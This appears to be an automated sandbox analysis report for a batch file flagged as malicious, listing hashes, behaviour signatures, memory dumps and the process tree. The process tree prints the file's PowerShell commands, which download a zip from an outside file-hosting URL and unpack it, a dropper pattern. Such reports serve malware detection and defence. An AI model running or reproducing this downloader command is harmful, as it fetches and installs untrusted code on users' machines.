3113000f470106b98b5a3208266c79213a33567ca7841dd1cfe8ab84847c4eb8

Analysis

max time kernel
118s
max time network
124s
platform
windows7_x64
resource
win7-20231023-en
resource tags

arch:x64arch:x86image:win7-20231023-enlocale:en-usos:windows7-x64system
submitted
06/11/2023, 23:24

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General

Target

tesy - Copy (8).bat
Size

706B
MD5

035f17438f6146d5ac7285b4adfeb370
SHA1

ef83c877367e96073e2b9b841d9c03ece6b1df7e
SHA256

02261a07ff83d906a835ac5229b25595239717e0091f2462804d0a31859bbdc0
SHA512

49455c7edd51537ba92e2db0941f571cd6ad89252702a19cf5910b390b182c16fc970ca62c26582b293ac5fc096e84538c5634472ab6e31bbd29242e8bb816cf

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
3	2168	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2168	powershell.exe
2620	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2168	powershell.exe
Token: SeDebugPrivilege	2620	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1408 wrote to memory of 2168	1408	cmd.exe	29
PID 1408 wrote to memory of 2168	1408	cmd.exe	29
PID 1408 wrote to memory of 2168	1408	cmd.exe	29
PID 1408 wrote to memory of 2620	1408	cmd.exe	30
PID 1408 wrote to memory of 2620	1408	cmd.exe	30
PID 1408 wrote to memory of 2620	1408	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (8).bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1408
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip', 'test1.zip')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2168
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'test1.zip' -DestinationPath '.'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2620

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
54ca12d395c016d42dc263f38386762b

SHA1
7bfb02c29672813da8a9ad97edfa3b67b376d84f

SHA256
28a0d241412ef71df94fbe7c2712e0ce861dcd12cd41820dc32e5a9a1898f33d

SHA512
0ce9b3be9e86d68e3cf1812da9a6f1dd0f8cd96dcfa818636741a07175aea6af7390ed0701b7ba8c780b3abbabd1105e5004cf582ffcfaeb2834ff8b87628c96

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\6H2XJULTOGQP7GNNY0XB.temp

Filesize
7KB

MD5
54ca12d395c016d42dc263f38386762b

SHA1
7bfb02c29672813da8a9ad97edfa3b67b376d84f

SHA256
28a0d241412ef71df94fbe7c2712e0ce861dcd12cd41820dc32e5a9a1898f33d

SHA512
0ce9b3be9e86d68e3cf1812da9a6f1dd0f8cd96dcfa818636741a07175aea6af7390ed0701b7ba8c780b3abbabd1105e5004cf582ffcfaeb2834ff8b87628c96

Download Submit
memory/2168-9-0x0000000002700000-0x0000000002780000-memory.dmp

Filesize
512KB

Download
memory/2168-7-0x000007FEF5AF0000-0x000007FEF648D000-memory.dmp

Filesize
9.6MB

Download
memory/2168-8-0x0000000002700000-0x0000000002780000-memory.dmp

Filesize
512KB

Download
memory/2168-5-0x000007FEF5AF0000-0x000007FEF648D000-memory.dmp

Filesize
9.6MB

Download
memory/2168-10-0x0000000002700000-0x0000000002780000-memory.dmp

Filesize
512KB

Download
memory/2168-11-0x0000000002700000-0x0000000002780000-memory.dmp

Filesize
512KB

Download
memory/2168-13-0x000007FEF5AF0000-0x000007FEF648D000-memory.dmp

Filesize
9.6MB

Download
memory/2168-6-0x0000000002490000-0x0000000002498000-memory.dmp

Filesize
32KB

Download
memory/2168-4-0x000000001B260000-0x000000001B542000-memory.dmp

Filesize
2.9MB

Download
memory/2620-19-0x000000001B310000-0x000000001B5F2000-memory.dmp

Filesize
2.9MB

Download
memory/2620-21-0x000007FEF5150000-0x000007FEF5AED000-memory.dmp

Filesize
9.6MB

Download
memory/2620-20-0x0000000001FA0000-0x0000000001FA8000-memory.dmp

Filesize
32KB

Download
memory/2620-25-0x0000000001EC0000-0x0000000001F40000-memory.dmp

Filesize
512KB

Download
memory/2620-24-0x0000000001EC0000-0x0000000001F40000-memory.dmp

Filesize
512KB

Download
memory/2620-23-0x0000000001EC0000-0x0000000001F40000-memory.dmp

Filesize
512KB

Download
memory/2620-22-0x000007FEF5150000-0x000007FEF5AED000-memory.dmp

Filesize
9.6MB

Download
memory/2620-26-0x0000000001EC0000-0x0000000001F40000-memory.dmp

Filesize
512KB

Download
memory/2620-27-0x000007FEF5150000-0x000007FEF5AED000-memory.dmp

Filesize
9.6MB

Download